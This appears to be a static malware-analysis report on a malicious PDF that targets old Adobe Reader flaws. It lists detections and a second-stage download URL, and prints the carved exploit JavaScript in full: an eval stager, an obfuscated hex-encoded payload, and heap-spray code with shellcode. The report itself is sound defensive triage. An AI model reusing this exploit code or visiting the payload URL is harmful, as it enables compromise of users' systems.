Malicious PDF / .X — malware analysis report

Static analysis result for SHA-256 64596f65fbbe2a53…

MALICIOUS

PDF / .X

40.4 KB First seen: 2026-05-11
MD5: ac0396770b2df756f04f8ce4176ab42d SHA-1: f9806988cfed0e0ad7f79e5e2cf92b64bc503c22 SHA-256: 64596f65fbbe2a5329b9fd07b58732be758cb66884ffb5f929a5331112a8dc47
510 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains multiple critical heuristic firings indicating exploitation of Adobe Reader vulnerabilities (CVE-2009-3459, CVE-2007-5659) via embedded JavaScript. The JavaScript is designed to download and execute a payload from the URL http://qjvvxygieivu.com/nte/nov1.py/yH5a515031V0100f070006R9a32cee2102T165e3e90201l0013. This indicates a clear intent to compromise the user's system through a multi-stage attack initiated by opening the malicious PDF.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 13

  • Adobe Reader U3D auto-activated 3D annotation — CVE-2009-3459 critical CVE likely CVE_2009_3459_U3D_AUTOACTIVATE
    PDF contains a /Subtype /3D annotation that is configured to auto-activate on page view (/3DA <</A /PV /AIS /I>>) alongside a /U3D stream and JavaScript. This is the document shape used by CVE-2009-3459 (Adobe Reader U3D CLODProgressiveMeshDeclaration heap overflow, APSB09-15): the U3D parser runs without any user interaction once the page is rendered, while the accompanying JavaScript prepares a heap-spray to land controlled memory inside the corrupted allocation.
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Adobe Reader U3D CLODProgressiveMeshDeclaration exploit critical CVE likely CVE_2009_3953
    PDF combines malformed U3D 3D content with JavaScript/action activation. CVE-2009-3953 is an Adobe Reader/Acrobat U3D CLODProgressiveMeshDeclaration array-boundary vulnerability triggered by malformed U3D data in a PDF.
  • U3D/3D content in PDF — Adobe Reader 3D parser CVE-family indicator high CVE related PDF_U3D_CVE_RELATED
    PDF contains U3D (Universal 3D) or 3D annotation content — CVE-2011-2462 and CVE-2009-3953 are critical vulnerabilities in Adobe Reader's U3D processing that allow arbitrary code execution. U3D content in PDFs is extremely rare in normal documents.
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB09-15 patch-range version gate (CVE-2009-3459) high CVE likely PDF_JS_ADOBE_APSB09_15_PATCH_GATE
    PDF JavaScript gates the exploit payload on an Adobe Reader version range that exactly matches the APSB09-15 patch boundary (< 9.2, < 8.1.7, < 7.1.4). That boundary fingerprints the CVE-2009-2990 / CVE-2009-3459 U3D parser vulnerabilities — no benign script tests all three Reader version-points together.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
    Matched line in script
    var i_a_Nm = new Array();var m_Wk63_p86IRYI = 0;var M3_I7_7e8__A4 = "";function Y_Q3T_E(p14eq_U5NoV8f, sQ8OWd40){var D7_AA_A_2c = sQ8OWd40.toString();var BBVyw4jSj_YJu = "";for(var W3g1Xb = 0; W3g1Xb < D7_AA_A_2c.length; W3g1Xb++) {var kT7pdA = parseInt(D7_AA_A_2c.substr(W3g1Xb, 1));if (!isNaN(kT7pdA)) {kT7pdA = kT7pdA.toString(16);if (kT7pdA.length == 1) { kT7pdA = "0" + kT7pdA; }else if (kT7pdA.length != 2) { kT7pdA = "00"; }BBVyw4jSj_YJu = kT7pdA + BBVyw4jSj_YJu;}}while(BBVyw4jSj_YJu.length < …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Pdf.Exploit.Agent-36062 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36062
  • Annotation subject percent-decoding eval stager critical PDF_ANNOT_SUBJECT_MARKER_EVAL_STAGER
    OpenAction JavaScript forces annotation enumeration, reads an annotation /Subject payload with getAnnots(), rewrites marker bytes into percent escapes, decodes it with unescape(), and dispatches it through eval. This is a high-confidence exploit-kit staging pattern. It is intentionally not mapped to CVE-2009-1492 unless getAnnots() itself carries the crafted integer or long argument shape for that vulnerability.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://qjvvxygieivu.com/nte/nov1.py/yH5a515031V0100f070006R9a32cee2102T165e3e90201l0013 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1A2 373 bytes
SHA-256: 068944f8c011a88ab770b45c6de142b9305a1f515d410204d5eadd9ac2b5bfb3
Preview script
First 1,000 lines of the extracted script
em = ''; em = ''; r = (r = 'l' + 'a' + em + 'ce', 'rep' + r); if (!em && r) {var z; var y; th = event['tar' + em + 'get'];var e = th[em + 'e'+ em + 'v'+'al']; z = y = th; 
	 y = 0; 	 z['syncAn' + em + 'notS' + 'can'] ( ); y = z;var p = y['g'+'et'+'Annots']( {  nPage: 0 }) ;var s = p[0].subject;var l = s[r](/k /g, 'q%p'[r](/[qp]/g, ''));s = th['unes' + 'cape'] (l) ;e(s);}
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x2FC 13136 bytes
SHA-256: 01ab2ac8ca539c34ae08993c4f2658e39fbea05f1c1e39f04f857cd9f4af93d0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function G0_1Jg5_3R8Nl(A6_OT_6_5, fORe2_0v){  var w4__58 = 'um' + 'en' + "ts";w4__58 = 'a' + 'rg' + w4__58;var t_UOy_m331_A8g = G0_1Jg5_3R8Nl[w4__58]["c" + "a" + "zzee"['r'+'epl'+'ace'](/zz/, 'll')];t_UOy_m331_A8g = t_UOy_m331_A8g["t" + "oS" + "t" + "r" + "in" + "g"]();var QX__Q__fe__S7md = 0;try {if (app) {QX__Q__fe__S7md++;QX__Q__fe__S7md++;}} catch(e) { }var s_a__0o__sS3j = new Array();if (A6_OT_6_5) { s_a__0o__sS3j = A6_OT_6_5;} else {var asm5____I__D1q = 0;var G66H_N_6rDL = 0;var uD8_A_e____d = 512;var aG5I3aVv__27uCk = 52;aG5I3aVv__27uCk = aG5I3aVv__27uCk - 4;var g_a__50 = aG5I3aVv__27uCk + 9;while(G66H_N_6rDL < t_UOy_m331_A8g.length) {var QqF1qy___N = 1;var n74__V26_Gs = t_UOy_m331_A8g['c'+'h'+'arC'+'odeAt'](G66H_N_6rDL);if (n74__V26_Gs <= g_a__50 && n74__V26_Gs >= aG5I3aVv__27uCk) {if (asm5____I__D1q == 4) { asm5____I__D1q = 0; }if (isNaN(s_a__0o__sS3j[asm5____I__D1q])) {s_a__0o__sS3j[asm5____I__D1q] = 0;}s_a__0o__sS3j[asm5____I__D1q] += n74__V26_Gs;if (s_a__0o__sS3j[asm5____I__D1q] > 512) {s_a__0o__sS3j[asm5____I__D1q] -= uD8_A_e____d;}asm5____I__D1q++;}G66H_N_6rDL++;}}asm5____I__D1q = 4;for (var x_2C7Or_F = 0; x_2C7Or_F < 4; x_2C7Or_F++) {if (s_a__0o__sS3j[x_2C7Or_F] > 256) {s_a__0o__sS3j[x_2C7Or_F] -= 256;}}var a7__j_3h_42x = 0;var ncSOl_c5 = "";var R_6rKWE_3p = 0;var DvEJ__87u = 0;var p_EQy5l__bp6;var R_g_pHf56NKnCK = 0;while(R_6rKWE_3p < fORe2_0v.length) {var G2_nNDYb6 = fORe2_0v.substr(R_6rKWE_3p, 1) + "Z";var Ew_5_SQ8y = parseInt(G2_nNDYb6, 16);if (DvEJ__87u) {p_EQy5l__bp6 += Ew_5_SQ8y;if (a7__j_3h_42x == 4) {a7__j_3h_42x -= 4;}var rd2k4_31voJEPt = p_EQy5l__bp6;rd2k4_31voJEPt = rd2k4_31voJEPt - (1 + R_g_pHf56NKnCK + 1) * s_a__0o__sS3j[a7__j_3h_42x];if (rd2k4_31voJEPt < 0) {          var AB3__2i_822 = 256;rd2k4_31voJEPt = rd2k4_31voJEPt - Math['floor'](rd2k4_31voJEPt / AB3__2i_822) * 256;}rd2k4_31voJEPt = String['from' + 'CharCode'](rd2k4_31voJEPt);if (QX__Q__fe__S7md == 2) {ncSOl_c5 += rd2k4_31voJEPt;} else if (QX__Q__fe__S7md == 1) {ncSOl_c5 += Ew_5_SQ8y;} else {ncSOl_c5 += R_6rKWE_3p;}a7__j_3h_42x++;DvEJ__87u = 0;R_g_pHf56NKnCK++;} else {DvEJ__87u = 1;p_EQy5l__bp6 = Ew_5_SQ8y * 16;}R_6rKWE_3p++;};var abcd=0; ;var I_3_1ba3s = this;I_3_1ba3s['ev'+'al'](ncSOl_c5);}
	G0_1Jg5_3R8Nl(0, "3412B62EA3FCE94504F6ECFB52E3750DCEA2C6E08BC6C06FE1AF3D9042927F4D0947972D8A35DEEFE842359E4FF560910422E64E57E0174FBDF833433AE49FF7B291C1AE1C7F03CCEBB76FB25BA4BE36C780E5213E6C1DEED62A50035344B5ABAC40FA8640E90899A7E17B5536C9A0FFC9F71520EAB12FE5879A9B9F2177E3567B51375FF26C5F4A6A397A3221480408974F3B96D3088EA798D99E60F81E172A88E44E2DF3C79DC653898EA0CDBB1FC836B755A0AA846B6D3771DEFEBF25F0F11E4837F5AB35AA8632E9D075D1F611752F00465198F9BD344DED04D982BC13DD0FA98679856688A14C8A1E1EBD692746324254EB6A5DD9F8393E05CCB6ED446D1DF2856D7BFCBA49E4FC4120A5E982BE0594BB9F82AFC466D76205598B8B401EBF7AD71C7B4BD011EA205CE253FE5976092CC8657A11F926C3B9673239F5A4F7ACE5F3E16ECF31D4DD713D741B70B97C8E49FF42217D3C079465810C4959C8969B0EC47F03DD6346C1FD636E36D690136EA3E4D0EA9818F19A90ACC20380A0B3A39D3773DA866E065E74A0F52259D1C49A4642D51E35386763D98E47C220C06172C85432DB9D65C638999CA0CD752D9850976DA5BE978B706572C653A242E021522874F2BBFD7386380BE2B7E9E93A6958006D38DFC8D5435DE1050AC78D22B834CA9B82C490D2852F73212CBE7A5E3D426954EA6A25A1A641F9FEA0983E776A2804AE6D93E7FD06F3A9EEEE54953BB6F0A3AAE7A181029910983568976040731472D6EE8465DFF3CD3D22DD712C8FCEAEFE949E3BE11D77E5EE312C71DB781CACE5F3E16ECF31D4DD713D741B70B97C8E49FE56215A0F1A9C587BF5415D8EE2C33F0BC242DD256376DA551E4DB5DA3E85CEEB0200CC57DDA5D15C9BE267B0585E5CE4782254551D8A3FAB1D095408D14E5E39DA1D3238AF8CD984880ADCED2D72C7432DF1DCA0D482CEDAE506BDD0774B612657AAA858706E50C915D63B1F1555507CAEB7FD6A9626EBC75EEFF7126C67184858BDF7B71F30EEBCDB82871398FE7C44B8C274B55D2A5F0B5DA97468F6F92156FE6C0DA3A6081B12D7B9F96A8928109D58AFD8FA4B2AFE3E2C52B752EC27D888D87DB7F79FF0AE179B889A8E59127AD33C3A680718CA4C4BEF840786BE0008CC90321A1752F6F8434578F66CD6D4D0E9FA62A6FFC5D5AB55725467B23FE997F5600A642CF6C52C75EB271997E0AB031982FAFA0894BB204C3F4407D14F76A3D6D705E359F866CAAEBDF7A6F995A075237CDA5A28539555BC1DF95C0607695735E0CA2E77A558F08D51011AE5378DE63931D5E68EC63E91CDDDF187E78741A06973CB9C8D5B6939B9FEEF640C265D386B04EB0BB4C7693DD5ACD61A486554C93613DFBD88E80FA2BCBF9F850DA707719FB7C05D90873588DE3583484F4B1342A3039F5098B1E60FDC9B7FE56D950A21A355A113F91422EE3A25A6DD39B629B8A89E8980F193EB6D13886F57952AF941C1EE571D1505E2594BC5794BA1840136D6A17E1FE067E5F82E1533B89F2BC3B2F3E34FC0E891967D385E245E8B87E080C94F636C3A0AC5673CDB0252BFC2CE30EBB5502E1699CB0B9F7244FEDE3D76B1E0CE2BCC57B87D8A6FBD378AC1A593862737F59A854795687EF5E328EF0B732243C3FF30388346EA97841117C01E75C44BFFF2DF48E33699A79EE988178766A3146AAA83976B7281C515E16422FF325336F0A849ADD45D3DF479920C037D1FF9761995B678415CDA0EBEA69C51D513BB9683AF708863F67F0B63BE7D390D2D6096F77E4FAAE8F43C24BFB4086F9A23F2B83691D0EF170EEBF5ECA6E4630A20CAC2D5527ECE6FE1A2423E4A695767FD46CE404F52DBD4024E5AE5863D5093CBE1A5572A28D84ABD0A5B136CF7750BB191C1AE1C8DEA86A169507563948580E056E921252D551DBA297BD13B32A5AA953BF1804FF14387B5085E3503C8CF4B93C223031FD055A68379809533A4B5A0B0661941F57E674568407DF1116AD5D79D3629D1D5F853C37DECC34FFA07C0333EE838FEF9B081F35B9DA3E8DF87258A6971515CF692A66D7A819C1DA235E0F01E223FE5CE0DA7994F16D172A91F1D4863D56F4FC9EC8AFD17ACFB13A7A64FCB33B4816E975D8A56064BE755A6454F09274E79E28157C5B83B0D17BFA124326DEFE4A3837FDEF73B0BECECE952A66DB6EB81769E5A6FD3A705980E5553587F6BE352D3236F60C8D1D3091EB97B3B507EB618C85E69E01153CBCD33484FB7B5EAACDDE9FC61D13086A36963715966A8789741B90E1C36F841BD4D4CFD153EADBB92080E9B0C321C81B7088B3009C6A335C3C6F51D1FC25BE366965C80F275A271BBA82C772682303D69707D161415CCB6853504CDDD26658B5AF0C66BD41AD4248AF652350EE551C691DADEDDC7B629B57085539CAA587526283EF100A230E00D522163C1D32A8D9A2D33D970E7E92B6D21084546CCAD83E617D6BCC982BC34A63D847D9B9F719F90235B2132AD6C233DFF59960B8544ABEDF7311E7E6D022068F92EB58099D2E95F15EB101DA0953BD3CE8379E35A7DC876C8744E83969A9264BE82D62D4F5E2105F82D4BEC4D5296CBFC24E897791BD878E50A721674C89F03DDA8ED0772852F9DDB9A3F702567A8679A41FC515E413019C7587BEE160EDBEDC63A10B3FAE54F5DBBFA5F3005C7C8277CED191C31E160B07895A4C13679D8899F90235EEE4628619D40B10FE527C3C88632F499E7ED7F7D8B0A8F50D5D7F847590E4B05FFCE5BD8499BC4CFB292D0BD45A64561BC606A5E5747EF53E4783428675F6BB6AA09B0C96AFDE491D3142F6622D04617A5FFBD3A5BEB0ABEC99C45C711835780B28EA3A33C9E1A61C67E5F44EE799B21B41FD9AE2811EDA18B136B950D25702EA5F1DA35EED8FDFF5E9580EC17D9B8A189AC0FA5E98E2250644E9B6CFF83841B4C5CDB190C1E4BDD713BA6C2F4E1B14E3A25E869B6FC2C4132E87B2CDFE3A4F531C21999A87C3E9643558D36E38FF9614D6E482B8E6470F0311DAFA79FFADFC43B2F087CB50E98661BCCCF35B0CAE810FCCF18C366B29BAFF599DF7B6693FC3FFD6656519558C0EAD265E6FFA64507CD094477897BFF8E60CBE0165790B125FEDDC687DA7C89A99E07C315C971A26493B24F5D7B3F49B50EA77AF9E637212903B30D81961B3EBE6FD717F58B50D949278F0291F61BA9C1139B9515A603C65AAF8F6E8D9B095C1264778A260A326359237C20B0BFEB4EEC90782625ABF61379475F12EE191CEBF13369AA71FCD3D6BAD45A84BDBBDC6F4155479A8358D64289434A630E0CBB5E51E0460855CBF3F9D9922F221E6CEAFA215368EBA61CA3E6B4F130BEEDDBAEAB417717AA80799E55B9634C453AF78B6E4CD21A1885EB8E07D486FF3220598BE1517303C5D30A73F6E7E1FF9D1DFBA98C9F8EE46EBBAC9FA3E47B196978457D70C22FD232B0B853560D9EDFFD3DBB5FE9914EC71AD92653C10943D3AD5DD63889979EB47A258F3E7A2453FF66683F363EF117B23EF0DB732A34C7AA02BDCC582EC563E7E500461EC68923D0BD88EB5BDACDD4968A55A60E845473CF6D9856064E2132824D52FB433996DEAD12EDB72910EC83B7FD629722D6B9406AD3C00B2BC030F6629A85C9E191B7939F7DCB7DDA5E5183845E561B1349C6344D221DD6CE1F24A3873B678EF0E6E95E3EE3192BFBFE34133BAAB5E6AEA9EAB36F8DF896A66E81A42B9A823BE357FA2422324DF6962F81C3571B98A68EF619850CF41D4BCBDF903435BAE53CB4B6E8D33FA55AB77C7EB1C3FAAAB85BB361F445F3427D1666397CE32759C7CE900649A6DA014F6B9BE98C5108CA155C7FC819F30FB25FDA4D8EE1B6C289E77B83712461F052AD6C6750B103F76A26EE601679C1AD12AE8B6B01BDA1ABDA454622067713DFBD88F6179E11D6C495109B538655B2BD62DD5B095EDE23C745240C0626A9DE7A1DA9AB3B3F228E72EA756621E67A33AFD2C11B17AE41F364AA41BB239186A68C720D7AD96E0F439758822ECE36D9054F2DD8CB0B211DE473FAA5BCF1F8D6537FE3ED38EBBE711437BC78DBF3A1B7C52F823DCBD8813F63676D8946A6460951213D0BEBDB2950D2150AD5AC930309734FF31D5D8ECEA13205F8A6FBC3B1E4DE02926DBEA78E9E833775B4996F563946F250380BAB397CF2E71A05F95E1407931F02487B56DED153D9DAD31B93F74A03CAA29DD7469EA2A307BBE88E41666965BF5D682B7B4FDD0EB82A35EB312135B3EF127ECC5CEE0173D3E5043B63D94723A3B2CDF61ADCCEC3D79D10AA0F76997E8A70C94B4B8BE035873A650B04679AD3BF22A9B6FEFE3196A4FA365B33E4A7456FC2FD1DEAC12EE3A7AC48C9E386C9D45F7DCB6B1B713E53584A9528CE489AF38F63DDD6C90E61E14B08637B03F5A56243D22D36B9FA600377B87319B396F9BE60C12A8BEB7A3CA0575AC57CA054CC135F3D10FD9A1E91014448919BD301D77E3EE25D5A860D8D2347FBA13BB0A629DF30A05AABBBBE7395F76AF56EA06629332F4F3C1B9B2EC1221625C3BBA31936A4E0F28D7A88E9BF4317DA052E80B659FECDAE8BCB8BA1CEE2F67A258E70712853FF906D36393EF113E76622DB735437C3B302BD96262EC463E71B367C54C68926CFF3BEEB5BA901D2C78A55AF16B68773CF75C98C3B4E2135B74555FB436666128212EDB9F910EF83B7FD61991FD6B94170D2EA0B2BBB32EF939A85CC109884939F83C97DDC5E514E525B861B1348980452221DDDC62020A387079689EFE6E9653BDF1E2BFBD0321463AAB5EDB6A8BAB36F93FF9DAF6E8174276B893BE358CA2423324DF8CB3051C3571BC6AC91F6198040F34C4BCBE0603437BAE508B4B7E9D33FA35EBCAB7EB191F37CB65BB368F4401F427D189C4085E32729C8CD670649A4DB004D6B9BEC8D51D7CA15294EC419F30FB059D9498EE1B1C28AE67B83742461BB52AD3C3C4CAC03F738F7E92E1679C1AA10788B6BFCC271A2DA454927D64613DFC08BFC179E11D49598129B538759848F62DD59075CDE23C7482209FE26A9E17B22ACAB3B0CF19178EA7569F1E77933AFD0C11CEBAE41F164A840BB239485A15A720D79D66F3F4397585129CE36D9FE4A30DBC8D14A5CEE403675CBFC20CCA54DCDF526FB07615165E6B01BA6DCE3002EC027D7E87B62A6647CA878968EF33A5A6C1F2DDC6A48BE3844C5E2C61ADBAD391F315AB8DB8E27FBD0E637C0A125F929CC3BD4A5B89BB13865BD566EA9F83EEA4D3816717FAD30D26BD5C9841104DF091C388346FA8C61EB04D45C4CFD493C01F190C640899EB908B6227676A46862E28099656569B0FEBF2531015D5047DCD93CA7B96CE9B95E9A2B154944D1445FC9DC83F65EACD4C79DCC17DB2F8456818C95B94613491E5DC38B28481160810D8156F1FEEE40F3C393F83269F009953A5A05EB5AEAE11F1F91D460CAD79CCACF9C6D0B92057A3B5657847F5C008A840B3A25F5D8F51C5FF447348FB5F437E0942ADAD836FECD2C0E32B570DFADE2CFED59A016C5D5A85FB42D9BBF888E490A4F5C2D2425C5588FE9022280A699F1F0AD391C5B7176E54C711EF4B13586B6130D30CF71C166A59BBD21B8CB61695AE489237C69458476A70A1154EF09793EF4ABCA344FAB77EC8E51D4FDF11649B125FEDDC687DA7CA4E9FBF8CA1EB982AA639CAA9C973C6C6CAD50B835E8DF796765009A2AA79728FBEB70D1EB004E0EDE34108CC8BE355899C4F595CC11CE4071616E8A78887D0990DD56B4352CF6FF336FCEA120DFB71E3BE7896BE57B831DE2764099CFE71CE6C1ECE96F95850413D4B7CF9AB2C068CBAE0C815288456BCE7494313C26E3230C4A5E9E823B748AFF20D38D83FBD843A6BB1E1968F4B2D6A6C8B7F52BB52A86B3693C79128C837D9F79F60E262D0FFB96343CF5154C91CEC0FCCF77FA38588C9ADD9D5D31F4E9246EACF1CE17CC29B878B86EBDF875B871BBA52C772D4B6B55A275AD200569FF089301118EED3C84B2871B8A8111110C5B8105293BFBE694EF84CFDBA60DC825B8787B1450AC5958737980B6FEF26B04EA6F5063EDF32BC58F312AFCAEA0183C7B4F136857D7F2A73B5AA109FDB9D016A93DC15C84A38FC16FFF642964C783534A3770A2CE9A4CBBBC25381B926A305767F60ABA419916E74BF7B2473493E730DC11ADB3C25E6DD5661398338958587F66D647AD207346E30FFC0914A67D2C618EE737A78D830C1D47A6D739FE3AA566DC9EDCDBBF32B63E99D5C26BA333558C36A64FC51F132D5442866473CF1A3ED6A9BD4A03B31BDD24468DD75D27F210E83DC1EBE60FF29F2BB2667B61D3F2A8B09963A6F471EA802A125674A3EFEA4E06C98D5A33D3EBF653A796298A74F8F6E9277D00432D0FCB90EF4CA08CBBB2C40F8C749425A0C05D73736570E714B56430EE343A56E7C3FD85865739FC6CE51A446A570E793DDF0180E847E90CCCB8BB31BF0FB093ADB9B2B68E1F5FE3267B371CF6FF2A6F2B6A56DEA6EE44138F7A1E76691D2AA3737BBDC406EDB7FDF05B958BFC23CFB7E293BC0666FD6C3B7D91556647E070D0225125D1C6115D5EF73250A8BD012BA68F32DFEA32A6BB215332E87019A3E6B4F12AC0EA9296B4636F2A8EC649CD9AF3532B36133CC76B3C16415AD9E4AC3AC48BFAEA189E8DEC724118D8B61A89F51C173D9B5FEBBA9AAACC31B9F35EB6903987286B71125681AB332B63DEFF5A014CCD1F4686948FE57C96011A19646CFA0D09179D8B078ACCD4A6F77ED0D171B062A1F9999D34768BE54CF6712EDE205272FCE951BB865B41EFA3E22939855CC17960DCFCCAE80FB4BC1BDFBC13D53DC05494AB7FC7922A60D4278D92683D416B660F721EABB2E6FBE1D372283099E32674716A00AA12D6F423EF6ACE86C90DDAB3D36B76D3AF0C59046485717F4AD23A84497B6D18D4F95551DF842999C3F310E9A232F31B52E5ED30073D02BD2CDFE3A4FE50C640CAA9A86BB55178A55CA063B42B0A3D133CC76B3C0B4A3AC3ABAB2A0BC72A22184693C98D6E42C3E042C3E8FD1C3DA85EF5B87964D423B7A0989D83363E07673F45A32989DEE230B0F88D33469EF7174FA593D9983E0F0DF55953DE3D3513CD8DD644D5D1ECF9C918912EA35380FC5D85503D78E909AD2EE031745276AEF11580CD6330C05EAFD53D7E4304493BC3F4D1164BA9F700C1B752A62B9B5BADC79A969C3B9B1F67C1832B3F34215C258225DFF32D0DDC9C6235569F3615776D9914E7290BCFFE005B958BB61EB7BDE68E80F7A51D981F7368576216DB31DB065264150DCA240CFB8F3E9676B622E49E3823216BFDFE6E3467F7B31FEDDFA4CB377D0194A7793F5E185B7086C48A0C521D6C373DC53C71E4142780B27E0AD27F0DE608A1C6FF957636C8CF35C5E0F703109F3AA68379758CF378BBB3A797E436DB45783C9F81B0F1115407F571361AA0ECED54665FD9D89AC215F65F96F5172DF9F487E96BAF9EC0B293ED76476F2657AAA9B42626399CFFAA75161F765537EDD954A7A94B0FBE8092F1F04E0E1D900EDAE3C13E4AACFBFDD9C423CB2483666E987A885E045AE32772916CF6EE2154CF725DCEEF3E3DEFBDA13C5F7913F776505AD9A81DD60548DEA2CB790E1294B3CDA1ACDB9BEC6B1E3E6062402DCC4298F7431D23F6F52C22DD7134647EFE17DDA66EE01765FDF83F3348B782DFB9EE");
legacy_pdfkit_stage_001.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x2FC 5442 bytes
SHA-256: f1e5b8d317c48a0857b35548b295c7a70377db7acdaa2a2864bd6db33c215607
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var i_a_Nm = new Array();var m_Wk63_p86IRYI = 0;var M3_I7_7e8__A4 = "";function Y_Q3T_E(p14eq_U5NoV8f, sQ8OWd40){var D7_AA_A_2c = sQ8OWd40.toString();var BBVyw4jSj_YJu = "";for(var W3g1Xb = 0; W3g1Xb < D7_AA_A_2c.length; W3g1Xb++) {var kT7pdA = parseInt(D7_AA_A_2c.substr(W3g1Xb, 1));if (!isNaN(kT7pdA)) {kT7pdA = kT7pdA.toString(16);if (kT7pdA.length == 1) { kT7pdA = "0" + kT7pdA; }else if (kT7pdA.length != 2) { kT7pdA = "00"; }BBVyw4jSj_YJu = kT7pdA + BBVyw4jSj_YJu;}}while(BBVyw4jSj_YJu.length < 8) { BBVyw4jSj_YJu = "0" + BBVyw4jSj_YJu; }var jh7M7T6__W_x = p14eq_U5NoV8f.toString(16);if (jh7M7T6__W_x.length == 1) { jh7M7T6__W_x = "0" + jh7M7T6__W_x; }else if (jh7M7T6__W_x.length != 2) { jh7M7T6__W_x = "00"; }BBVyw4jSj_YJu = "3" + jh7M7T6__W_x + "P" + BBVyw4jSj_YJu;return BBVyw4jSj_YJu;}function k_r4c_qr2VhrGXb(m_Lp_Ggvq, V_elhI7__bI4b2b){var WT0_3YME47jM2u4 = new Array("");var qr_5ay_bD_n = m_Lp_Ggvq;var a__2713_uEAoUUc;if ((a__2713_uEAoUUc = m_Lp_Ggvq.lastIndexOf("%u00")) != -1) {if (a__2713_uEAoUUc + 6 == m_Lp_Ggvq.length) {WT0_3YME47jM2u4[0] = m_Lp_Ggvq.substr(a__2713_uEAoUUc + 4, 2);qr_5ay_bD_n = m_Lp_Ggvq.substring(0, a__2713_uEAoUUc);}}a__2713_uEAoUUc = 1;for (W3g1Xb = 0; W3g1Xb < V_elhI7__bI4b2b.length; W3g1Xb++) {var D7q_5jr5U3 = V_elhI7__bI4b2b.charCodeAt(W3g1Xb).toString(16);if (D7q_5jr5U3.length == 1) { D7q_5jr5U3 = "0" + D7q_5jr5U3; }WT0_3YME47jM2u4[a__2713_uEAoUUc] = D7q_5jr5U3;a__2713_uEAoUUc++;}W3g1Xb = WT0_3YME47jM2u4[0].length ? 0 : 1;WT0_3YME47jM2u4[a__2713_uEAoUUc] = "00";WT0_3YME47jM2u4[a__2713_uEAoUUc + 1] = "00";a__2713_uEAoUUc += 2;if ((WT0_3YME47jM2u4.length - W3g1Xb) % 2) {WT0_3YME47jM2u4[a__2713_uEAoUUc] = "00";}while(W3g1Xb < WT0_3YME47jM2u4.length) {qr_5ay_bD_n += "%u" + WT0_3YME47jM2u4[W3g1Xb + 1] + WT0_3YME47jM2u4[W3g1Xb];W3g1Xb += 2;}qr_5ay_bD_n += "%u0000";return qr_5ay_bD_n;}function r_qv8rC_M_7iyx(g7eQ3232XQ, hct4XSa__P4){while (g7eQ3232XQ.length*2<hct4XSa__P4) {g7eQ3232XQ += g7eQ3232XQ;}g7eQ3232XQ = g7eQ3232XQ.substring(0,hct4XSa__P4/2);return g7eQ3232XQ;}function xgsj2a(b81CINk_Ot, kTRO8O1A, pVixd3__w_CUF2B){var M2_3sv5___fvlf = 0x0c0c0c0c;var g7eQ3232XQ = unescape(kTRO8O1A);var V_elhI7__bI4b2b = Y_Q3T_E(b81CINk_Ot, pVixd3__w_CUF2B);var A0CI_4f = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var m_Lp_Ggvq = "%u9050%u9050%u9050%u9050" + 